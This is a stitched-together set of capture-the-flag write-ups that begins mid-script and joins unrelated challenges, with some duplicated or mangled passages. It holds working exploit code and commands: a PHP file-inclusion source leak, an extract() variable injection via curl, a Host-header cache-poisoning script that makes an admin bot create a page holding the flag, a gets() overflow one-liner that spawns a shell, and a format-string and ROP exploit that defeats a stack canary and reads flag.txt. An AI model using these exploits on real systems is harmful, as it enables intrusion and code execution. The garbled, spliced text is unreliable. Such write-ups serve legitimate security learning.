s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()``` ## Really powerful GnomesOnly YOU can save the village! Connect with:`nc jh2i.com 50031` **flag{it_was_in_fact_you_that_was_really_powerful}** **Solution:** Automate going on adventure and buying weapons: ```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()``` *** # Web ## Agent 95They've given you a number, and taken away your name~ Connect here:\http://jh2i.com:50000 **flag{user_agents_undercover}** **Solution:** Change User agent to Windows 95 ## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore?? Connect here:\http://jh2i.com:50003 **JCTF{spoooooky_ghosts_in_storage}** **Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes ## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency! Connect here:\http://jh2i.com:50002 **flag{phon3_numb3r_3xtr4ct3d}** **Solution:** With the challenge we are given a website with the following index page: ![](assets//images//phphonebook_1.png) so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page: `http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php` and by going to this url we get the file base64 encoded: ![](assets//images//phphonebook_2.png) ```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code: ```php <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php The phonebook is located at phphonebook.php <div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div> </body></html>``` we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code: ```php <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1> <div id="im_container"> This phphonebook was made to look up all sorts of numbers! Have fun... This phphonebook was made to look up all sorts of numbers! Have fun... </div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div> <div id="php_container"> </div> <div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div> </body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page: ![](assets//images//phphonebook_3.png) burp suite catches the request and allows us to edit it: ![](assets//images//phphonebook_4.png) we now only need to add an emergency variable and we get the flag: ![](assets//images//phphonebook_5.png) ![](assets//images//phphonebook_6.png) with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag: ![](assets//images//phphonebook_7.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
This web challenge was a well made challenge I enjoyed spending time solving! It requires a lot of different steps and interesting interactions between the components of this web application. When you first visit this website you are greeted with a home page: ![](https://i.imgur.com/Lg4H2PR.png) As a regular user you can click on the "Create" tab to create your very own ASCII snake (or viper) ![](https://i.imgur.com/5zWiPLg.png) When you first create the viper it will get a new UUID4 token as the default name. A user can change this name using the form on the page, which sends a GET request to the `/editviper` endpoint. The source code could be downloaded in this challenge, and we see that this web application is written in node js and is using the express framework.Looking through the source code we can see a lot of different endpoints: * `app.get('/create', function (req, res)` (GET) * Generates a new session and sets viperId and viperName for this session. * `app.get('/viper/:viperId', middleware(20), function (req, res)` (GET) * Used to view a viper. The server fetches the viperName from the user session and renders this page with these values. It also checks that you have a valid viperId for this page, unless you are an admin user. * `app.get('/editviper', function (req, res)` (GET) * Used to change the viperName in the current user session. * `app.get('/logout', function (req, res)` (GET) * Destroys a session and logs you out. * `app.get('/analytics', function (req, res)` (GET) * An interesting endpoint used by `/analytics.js`. It is used to update the amount of visits from a specific IP address for analytics purposes. These visit-counts are stored in a redis server. The IP address is passed in as a GET query parameter. * `app.get('/admin/generate/:secret_token', function(req, res)` (GET) * This endpoint is only used by the admin bot to generate a token for this bot. It is not really a part of the challenge for us to exploit. * `app.get('/admin', function (req, res)` (GET) * Shows the admin page if the user is a valid admin. (admin is true in the current session) * `app.get('/admin/create', function(req, res)` (GET) * Used to create an `admin viper`. Here is where the `flag.txt` file is read from disk and stored in the viperName corresponding to a viperId. The viperId can be passed as a GET query parameter. The endpoint also requires a valid csrf token... Okay, that is a lot of different endpoints to check out. Let's start by crafting a theory of what the end goal is. We want the content of `flag.txt`, and the only way to get this is through the `/admin/create` endpoint (if there aren't any other lfi/rce vulns of course, but I did not immediatly find one). There is a web page where we can give a link to the admin and the admin will visit our page, so we most likely have to find some sort of XSS vulnerability to make the admin create an `admin viper` that we eventually can visit to get the flag. To do this we most likely have to leak the CSRF token that is generated when the admin visits the `/admin` endpoint. The CSRF token is an integer and is generated like this: ```jsconst randomToken = getRandomInt(10000, 1000000000);client.set('__csrftoken__' + sess.viperId, randomToken, function(err, reply) { ``` It is then stored on the redis server with the key `"__csrftoken__" + sess.viperId`. The admin's initial viperId is `admin_account`, so the Redis key is actually `__csrftoken__admin_account`. The admin will only visit a `/viper/<uuid>`-page so we will need to find an XSS vulnerability (or something similar) on this page. Let's take a look at the node server source code and the HTML source code for this page. **server.js** - `/viper/:viperId` endpoint```jsapp.get('/viper/:viperId', middleware(20), function (req, res) { let viperId = req.params.viperId; let sess = req.session; const sessViperId = sess.viperId; const sessviperName = sess.viperName; if(sess.isAdmin){ sess.viperId = "admin_account"; sess.viperName = "admin_account"; } if(viperId === sessViperId || sess.isAdmin){ res.render('pages/viper', { name: sessviperName, analyticsUrl: 'http://' + req.headers['host'] + '/analytics?ip_address=' + req.headers['x-real-ip'] }); }else{ res.redirect('/'); }});``` It uses the _ejs_ template framework and renders the page while passing two variables; `name` and `analyticsUrl`. We can find these values in the HTML template: **views/pages/viper.js**```html <div class="col-sm-8"> <h1>This is your snake: <%= name %></h1> Hopefully you enjoy this very nice ascii art! (......) <footer> <%- analyticsUrl %> <script src="/analytics.js"></script> </footer>``` Hopefully you enjoy this very nice ascii art! <%- analyticsUrl %> According the the _ejs_ documentation, `name` will get html escaped, but `analyticsUrl` will not (`<%=` vs `<%-`). This means the we might be able to inject some XSS or other things inside of this `` DOM object. We also notice the `/analytics.js` script, which is pretty small: ```jsfetch(document.getElementById("analyticsUrl").innerHTML)``` It looks like this script fetches whatever text that is inside of ``. Maby we can use this for something later. ` DOM object. We also notice the `/analytics.js` script, which is pretty small: ```jsfetch(document.getElementById("analyticsUrl").innerHTML)``` It looks like this script fetches whatever text that is inside of ` Alright, so how can we change the value of `analyticsUrl`? The source code tells us that it is created like this: ```jsanalyticsUrl: 'http://' + req.headers['host'] + '/analytics?ip_address=' + req.headers['x-real-ip']``` so we need to change our `host` header or `x-real-ip` to inject something into this URL. NGINX ( config also given) passes `$remote_ip` as `x-real-ip` and our `$http_host` as `host` to the node application. I tried to add an `x-real-ip` or `x-forwarded-for` header without any luck.. It seems like it's hard to change this IP address value. However, changing the `Host` header in my request seemed to do the trick. NOTE that when testing stuff against this page, it has caching enabled. So wait a bit if it is not changing when testing different payloads to inject. The node js application caches the `/viper/<uuid>` page in memory for 20 seconds (using a middleware), and it uses the `Host` header as key (+ originalIp). This means that everyone with the same `Host` header can visit this page to see its content without any cookie, and the value of viperId and analyticsUrl will not be changed. It uses the cached version's values, and this will be relevant later on. Since the `/viper/` page is dynamical (`viperName` and `analyticsUrl` is based on the user that is visiting the page) the caching is an essential part if we want another user to visit our page with our injected payload. We need to make sure the user visiting our page hit the cache (must have same cache-key as us). The user visiting our page will most likely have `2020.redpwnc.tf` in the `Host` header. In the code we notice that it is only the first part of the `Host` header before `:` that is used as a key, so it is still possible to cache a page if we inject something after `2020.redpwnc.tf:`. I first tried injecting `<script>` or `` tags, but this did not work because of a Content Security Policy set by the node application: `res.setHeader("Content-Security-Policy", "default-src 'self'");`. I also had problems using forward slashes (`/`) in the `Host` header. I also tried to include the `admin` page using an iframe, but this did not work either. This is because the node application sets `res.setHeader("X-Frame-Options", "DENY")` which will deny all tries of embedding the page on another page. We need to find another solution... `analytics.js`! The CSP will not stop this script from being executed since it's a javascript source hosted on this domain.This script will do all of the work for us, and force the admin to visit a page of our choice. We just need to change the url to something else. If we inject your own URL into the `Host` header, it will try to fetch this URL, but the CSP will stop us from connecting to our own controlled server. However we are only interested in the `/admin/create` page, so lets try to inject this into the host header! `Host: 2020.redpwnc.tf:31291/admin/create#` <- We also use an anchor to make the rest of the URI irrelevant. As we saw earlier, it does not like forward slashes in the `Host` header, but I figured out a bypass for this. Just use backslashes instead! `Host: 2020.redpwnc.tf:31291\admin\create#` When testing locally, it will fetch the `/admin/create` page. But we still need to give it a `viperId` and a `csrfToken` parameter.We can test this against the `/editviper` page to see if it also works when the admin is visiting our page. The admin will then create a `/viper/` page with the `viperName` we specified in the query parameters: 1. Create user: `curl -v 2020.redpwnc.tf:31291/create`2. Inject URL into `Host` header and at the same time cache the request: ```curl -v -H 'Cookie: connect.sid=s%3Ar2rS0fUoonJJzH1NQzdgg20g5QZ9Wrlm.MmuClcI0%2BK2%2BSs6qic0asM%2FaxNohMueSILeOU2RZSOY' -A '' http://2020.redpwnc.tf:31291/viper/571d4567-de04-4f17-a408-0f83e619ac94 -H 'Host: 2020.redpwnc.tf:31291\editviper?viperName=COOLNAME#'```3. Then we give our viper URL (http://2020.redpwnc.tf:31291/viper/571d4567-de04-4f17-a408-0f83e619ac94) to the admin at: https://admin-bot.redpwnc.tf/submit?challenge=viper (Remember that you need to send it to the admin before the cache expires after 20 seconds)4. Visit admin's viper page using the default `viperId ` to see that the name is now COOLNAME: http://2020.redpwnc.tf:31291/viper/admin_account Alright, first step is now done! Now we need to force the admin to make a viper containing the flag, but to do this we need the CSRF token. I spent a lot of time figuring this out. I considered using a CSS side channel attack to bruteforce the token, but this would be hard since the token is on another page. I also considering doing requests directly to the Redis server and change its value to something else. But then it struck me that I could use the `/analytics` page to retrieve the CSRF token! This is actually quite obvious if you think about it, but I did not think I could use the `/analytics` page for something useful at first. **server.js** - `/analytics` endpoint```jsapp.get('/analytics', function (req, res) { const ip_address = req.query.ip_address; if(!ip_address){ res.status(400).send("Bad request body"); return; } client.exists(ip_address, function(err, reply) { if (reply === 1) { client.incr(ip_address, function(err, reply) { if(err){ res.status(500).send("Something went wrong"); return; } res.status(200).send("Success! " + ip_address + " has visited the site " + reply + " times."); }); } else { client.set(ip_address, 1, function(err, reply) { if(err){ res.status(500).send("Something went wrong"); return; } res.status(200).send("Success! " + ip_address + " has visited the site 1 time."); }); } }); });``` After some analysis, we can see that it increments the value of a Redis entry with our input (req.query.ip_address) value as key.We already know the name of the CSRF key: `__csrftoken__admin_account`. If we use this value for the `ip_address` parameter,the CSRF key will be incremented and returned back to us. We can then base64 encode this value and use it in the `/admin/create` request (since this endpoint requires a base64 encoded version of the token). Now to the final part of this challenge! We can force the admin to create a new viper for us, but we need to send two parameters:1. A UUID4 that is different from our own (We need a different one since our own page is already cached).2. The CSRF token. Since we are hitchhiking with `analytics.js`, we need to bypass an annoying feature with `getElementById().innerHTML`...It will HTML escape our `&` character in our URL, so we can't send two query parameters until we can bypass this. After a lot of Google searches, a teammate ended up reading a chinese writeup through Google translate: https://blog.zeddyu.info/2020/02/11/xssgame/He said that when `innerHTML` sees an HTML comment (`` The HTML comment is placed as a query parameter to not destroy the rest of the URL, and the ending is placed behind the anchor. The `viperId` is just a random ID I chose, and the `csrfToken` we fetched via `/analytics`. Our final plan now is to:1. Create a user2. Increment and fetch CSRF token via `/analytics`2. Inject host header and cache our viper page3. Give admin our URL4. Admin visits our URL and will create a new viper with the flag as `viperName`5. We visit the cached viper page the admin created to get the flag Final Python script here: ```python#!/usr/bin/env python3import requests, socket, refrom urllib.parse import quotefrom base64 import b64encode HOST, PORT = "2020.redpwnc.tf", 31291#HOST, PORT = "localhost", 31337 ADMIN_VIPER = "AAAAAAAA-AAAA-4AAA-8AAA-AAAAAAAAAAAA" # Create new viper and fetch cookie and Viper IDr = requests.get("http://{}:{}/create".format(HOST,PORT), allow_redirects=False)viper_id = re.findall("([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})", r.text)[0]sessid = r.cookies["connect.sid"]cookies = {"connect.sid" : sessid} # Get the csrf tokenr = requests.get("http://{}:{}/analytics?ip_address=__csrftoken__admin_account".format(HOST, PORT))csrftoken = quote(b64encode(r.text.split()[-2].encode())) # Inject host headerpayload = ""payload += "GET /viper/{} HTTP/1.1\r\n".format(viper_id)payload += "Host: {}:{}\\admin\\create?x=\r\n".format(HOST, PORT, ADMIN_VIPER, csrftoken)payload += "Accept: */*\r\n"payload += "Cookie: connect.sid={}\r\n".format(sessid)payload += "\r\n" s = socket.socket()s.connect((HOST, PORT))s.sendall(payload.encode())print(s.recv(32768))s.close() # Cache requestr = requests.get("http://{}:{}/viper/{}".format(HOST, PORT, viper_id), cookies=cookies)print(r.text) print("Send this URL to the admin")print("http://{}:{}/viper/{}".format(HOST, PORT, viper_id)) while True: input("\nClick to continue fetching http://{}:{}/viper{} ... ".format(HOST, PORT, ADMIN_VIPER)) r = requests.get("http://{}:{}/viper/{}".format(HOST, PORT, ADMIN_VIPER), cookies=cookies) print(r.text)``` After running this script, send the admin to our URL and then press enter to get the flag!```<h1>This is your snake: flag{w0W!_tH3_v1p3R_hUrTs1!11!}</h1> Hopefully you enjoy this very nice ascii art! ---_ ......._-_--. (|\ / / /| \ \ / / .' -=-' `. / / .' ) _/ / .' _.) / / o o _.-' / .' \ _.-' / .'*| \______.-'// .'.' \*| \| \ | // .'.' _ |*| ` \|// .'.'_ _ _|*| . .// .'.' | _ _ \*| \`-|\_/ / \ _ _ \*\ `/'\__/ \ _ _ \*\ /^| \ _ _ \* ' ` \ _ _ \ ASH (+VK) \_ ``` Hopefully you enjoy this very nice ascii art!
# coffer-overflow-1 > The coffers keep getting stronger! You'll need to use the source, Luke. > nc 2020.redpwnc.tf 31255 Files provided:* coffer-overflow-1.c - C source code* coffer-overflow-1 - 64bit ELF file C source code:```c#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code == 0xcafebabe) { system("/bin/sh"); }} ``` This is similar to [coffer-overflow-1], but at this time, we have to put an exactly value into `code`.This value is `0xcafebabe`. So, our payload will be something like this: `[24-RANDOM_CHARS][0x00000000cafebabe]`. Remeber that because of `little-endian`, we have to write integers bytes reversed. To do this in python we can use the `pwn` library. ```sh$ ( python -c "from pwn import *; print 'A'*24+p64(0xcafebabe)"; cat ) | nc 2020.redpwnc.tf 31255``` And here is the flag: `flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}` [coffer-overflow-1]: <https://github.com/Yankoo458/CTF-writeups/blob/master/RedpwnCTF2020/pwn/coffer-overflow-0/coffer-overflow-0.md>
# ObjectiveSo this challenge requires us to utilize a **format string exploit** to get a shell. ## Points about Format string exploitThere are two points to be noted as far as the format string exploit is concerned1. We can read arbitrary values ahead on the stack2. We can write to arbitrary values to a location such that a pointer to the location is available on the stack. More details can be found at this [Wikipedia link](https://en.wikipedia.org/wiki/Printf_format_string#Format_placeholder_specification) ## Observations - The program allows us to read only **0x120** bytes into a buffer at `rbp-0x110`. Note the canary is located at `rbp-0x8` and the return address of main is at `rbp+0x8`. So using a standard buffer overflow we can write upto only the return address i.e. upto `rbp+0x8`. - The canary used is a standard one i.e its first byte will always be `\x00`. So we *just* do not know the remaining 7 bytes. - When we are executing inside main, we can observe that `rsp` is always at `rbp-0x110` or the starting of the buffer that we are about to write into. So that means `rsp` points directly to our payload huh? *Interesting...* ## Workflow This workflow requires to send multiple payloads to obtain a proper shell. ### Payload 1 In this payload we will aim to leak various information off the stack and change the GOT entry for `__stack_chk_fail` to the address of main so that after a canary is smashed execution returns to main so that we can send some other payloads based on the information we just leaked. This payload consists of the following parts- Format string `%41$016llx;` to print the return address where main will return in `__libc_start_main`. This address will be later utilized to get other addresses like address of `system`- Format string `%39$016llx;` to print the canary - Format string `%04196117d%11$n000` to write into the 11th argument (GOT entry of `__stack_chk_fail` that we are going to pass) the value `0x00400737`- Address of GOT entry of `__stack_chk_fail` is passed on the stack with `p64(stack_chk_fail_got)`- A padding upto the canary and sending `\x01` into the first byte of the canary since we know that the first byte is anyways `\x00` and if we smash any further then we won't be able to get the real value of the canary. **Note:** The values for the format string exploits have been obtained after looking at the stack frame in a debugger. You can presently convince yourself that these values are indeed correct. Once we send this payload we will get the canary value and `__libc_start_main` address and execution will start again at main and we can send another payload. ### Payload 2 and 3 Now that we know the value of our canary we can safely place it into our buffer overflow and redirect execution. Well this was what I thought during the CTF, **but there is a catch**, remember we cannot overflow beyond the return address on the stack, so we cannot construct a valid ROP chain since we do not control the stack after we have returned from main, and hence our exploit will fail. So what do we do? But remember that `rsp` points to the start of our payload.... So maybe we can utilize this fact. Lets see how So in this payload we will start our buffer with the stack frame that is required for our ROP chain and smash the canary **purposely**. I know i don't make sense right now since we know what the canary should be. But bear with me. Once the canary is smashed, the instruction `call __stack_chk_fail` will get executed and the return address will get pushed on to `rsp` and note that below `rsp` is our **PAYLOAD 2**. So now the execution will jump to main but with one important fact that the stack frame that is required by our ROP chain to spawn our shell is already present after the return address and we just need to change the return address and we can do that since we are allowed to write **0x120** bytes anyways, and this time we are going to place the correct value of the canary :) So in **PAYLOAD-3** we will just change the return address to our ROP gadget `pop rdi; ret` and use the correct value of the canary.! # Final exploit code```from pwn import * def exploit(p): stack_chk_fail_got=0x601028 main = 0x00400737 ################# PAYLOAD 1 ############################## # 41st argument to printf is the return address where the main function returns inside __libc_start_main # 39th argument is the canary # printing enough values to fill the 11th argument i.e __stack_chk_fail GOT entry to a value 0x400737 ( address of main ) pay = b'%41$016llx;%39$016llx;%04196117d%11$n000'+p64(stack_chk_fail_got) pay+=(0x110-8-len(pay))*b'a' print(p.recvuntil(b'What is your name: ')) # Canary's first byte is always \x00 so we can safely smash the canary by just changing it to \x01 p.send(pay+b'\x01') main_return_addr = int(p.recvuntil(b';').split(b' ')[1][:-1], 16) canary = int(p.recvuntil(b';')[:-2] + b'0',16) # __libc_start_main starts at a backward offset 231 from where the main execution is supposed to return libc_main = main_return_addr - 231 print("[+] Retrived libc_main address as ", hex(libc_main)) print("[+] Retrieved canary as ", hex(canary)) p.recvuntil(b'What is your name: ') print("[+] New prompt recieved") # Calculate other offsets using the start of __libc_start_main we obtained system_addr = (0x000000000004f440-0x0000000000021ab0) + libc_main binsh_main_offset = 1647594 binsh_addr = binsh_main_offset + libc_main # This is a pointer to the string "/bin/sh" inside libc.so.6 ret = 0x00000000004005d6 # A simple gadget ret; ###################### PAYLOAD 2 ################################# rop = 0x00000000004008e3 # pop rdi; ret pay = b'' pay+=p64(binsh_addr) # This needs to be placed in rdi pay+=p64(ret) # This is to make rsp 16 byte aligned which the movaps instruction requires inside call to system() pay+=p64(system_addr) # This is the address of system() calculated which our ROP will return to pay+=(0x110-len(pay))*b'a' # Purposeful smashing of the canary p.send(pay) print(p.recvuntil(b'What is your name: ')) print("[+] New prompt recieved") ####################### PAYLOAD 3 ################################ pay=b'' pay+=b'a'*(0x110-8-len(pay)) # Padding pay+=p64(canary) # Real value of the canary pay+=b'a'*8 # Fake rbp pay+=p64(rop) # Now main should return to our rop gadget # Our stack arguments that the rop gadget requires are set, thanks to PAYLOAD-2 p.send(pay) print(p.recv()) p.interactive() # p=process('./dead-canary')p = remote(host='2020.redpwnc.tf', port=31744) # Enjoy your shellexploit(p)``` # Result ```harsh@anonymous:~/Downloads/redpwnctf$ python3 canary.py [+] Opening connection to 2020.redpwnc.tf on port 31744: Doneb'What is your name: '[+] Retrived libc_main address as 0x7ff6092e7ab0[+] Retrieved canary as 0xb6b4d3d76f69800[+] New prompt recievedb'Hello \x9a\x9eG\t\xf6\x7fWhat is your name: '[+] New prompt recievedb'Hello '[*] Switching to interactive modeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ $ lsMakefilebindead-canarydead-canary.cdevflag.txtliblib32lib64libc.so.6$ cat flag.txtflag{t0_k1ll_a_canary_4e47da34}$ [*] Interrupted ```
1. Flip `exit@got` to jump back to `entry`2. Enable debug functionality of flipping function and leak libc addres3. Leak `environ` in libc to get stack address4. Modify stack data to jump to `system`
We see that when some variable is 0x1d3, game prints the flag.``` if (iVar6 == 0x1d3) { system("cat flag.txt"); uVar8 = 0;}``` That magic variable is the board score calculated by piece positions and types.``` ulong calculate_score(long param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4, undefined8 param_5,undefined8 param_6) { undefined4 uVar1; int iVar2; uint local_1c; int i; int j; local_1c = 0; i = 0; while (i < 8) { j = 0; while (j < 8) { uVar1 = get_piece_type(param_1 + ((long)j + (long)i * 8) * 0x10); get_piece_color(param_1 + ((long)j + (long)i * 8) * 0x10); switch(uVar1) { case 0: iVar2 = calc_queen_score(param_1,(ulong)(8 - i),(ulong)(j + 9)); local_1c = local_1c + iVar2; break; case 1: iVar2 = calc_king_score(param_1,(ulong)(8 - i),(ulong)(j + 9)); local_1c = local_1c + iVar2; break; case 2: iVar2 = calc_bishop_score(param_1,(ulong)(8 - i),(ulong)(j + 9)); local_1c = local_1c + iVar2; break; case 3: iVar2 = calc_knight_score(param_1,(ulong)(8 - i),(ulong)(j + 9)); local_1c = local_1c + iVar2; break; case 4: iVar2 = calc_rook_score(param_1,(ulong)(8 - i),(ulong)(j + 9)); local_1c = local_1c + iVar2; break; case 5: iVar2 = calc_pawn_score(param_1,(ulong)(8U - i),(ulong)(j + 9),(ulong)(8U - i),param_5, param_6,param_2); local_1c = local_1c + iVar2; } j = j + 1; } i = i + 1; } return (ulong)local_1c;}``` Re-implementing the scoring algorithm in Python gives following scores for each piece and position: ```def calc_queen_score(x,y): return x+y def calc_king_score(x,y): return x*y def calc_bishop_score(x,y): return (x+y)*2 def calc_knight_score(x,y): return (x%y) def calc_rook_score(x,y): return 0x100-x-y def calc_pawn_score(x,y): return x-y def find_scores(score_func): for i in range(8): row = [] for j in range(8): row.append(str(score_func(8-i, j+9))) print("\t".join(row)) print("Queen scores:")find_scores(calc_queen_score) print("King scores:")find_scores(calc_king_score) print("Bishop scores:")find_scores(calc_bishop_score) print("Knight scores:")find_scores(calc_knight_score) print("Rook scores:")find_scores(calc_rook_score) print("Pawn scores:")find_scores(calc_pawn_score)``` Output: ```Queen scores:17 18 19 20 21 22 23 2416 17 18 19 20 21 22 2315 16 17 18 19 20 21 2214 15 16 17 18 19 20 2113 14 15 16 17 18 19 2012 13 14 15 16 17 18 1911 12 13 14 15 16 17 1810 11 12 13 14 15 16 17King scores:72 80 88 96 104 112 120 12863 70 77 84 91 98 105 11254 60 66 72 78 84 90 9645 50 55 60 65 70 75 8036 40 44 48 52 56 60 6427 30 33 36 39 42 45 4818 20 22 24 26 28 30 329 10 11 12 13 14 15 16Bishop scores:34 36 38 40 42 44 46 4832 34 36 38 40 42 44 4630 32 34 36 38 40 42 4428 30 32 34 36 38 40 4226 28 30 32 34 36 38 4024 26 28 30 32 34 36 3822 24 26 28 30 32 34 3620 22 24 26 28 30 32 34Knight scores:8 8 8 8 8 8 8 87 7 7 7 7 7 7 76 6 6 6 6 6 6 65 5 5 5 5 5 5 54 4 4 4 4 4 4 43 3 3 3 3 3 3 32 2 2 2 2 2 2 21 1 1 1 1 1 1 1Rook scores:239 238 237 236 235 234 233 232240 239 238 237 236 235 234 233241 240 239 238 237 236 235 234242 241 240 239 238 237 236 235243 242 241 240 239 238 237 236244 243 242 241 240 239 238 237245 244 243 242 241 240 239 238246 245 244 243 242 241 240 239Pawn scores:-1 -2 -3 -4 -5 -6 -7 -8-2 -3 -4 -5 -6 -7 -8 -9-3 -4 -5 -6 -7 -8 -9 -10-4 -5 -6 -7 -8 -9 -10 -11-5 -6 -7 -8 -9 -10 -11 -12-6 -7 -8 -9 -10 -11 -12 -13-7 -8 -9 -10 -11 -12 -13 -14-8 -9 -10 -11 -12 -13 -14 -15``` Solution: We need to make the total score 467 (0x01D3). Following board satisfies the scoring requirement and prints the flag.``` A B C D E F G H 8 □ □ □ □ ♖ ♛ ♕ □ 7 □ □ □ □ □ □ □ □ 6 □ □ □ □ □ □ □ □ 5 □ □ □ □ □ □ □ □ 4 □ □ □ □ □ □ □ □ 3 □ □ □ □ □ □ □ □ 2 □ □ □ □ □ □ □ □ 1 □ □ □ □ □ □ □ □ ``` `flag{y3s_i_kn0w_p4wns_c4n_m0v3_tw1c3_0n_th31r_f1rst_pl4y}`
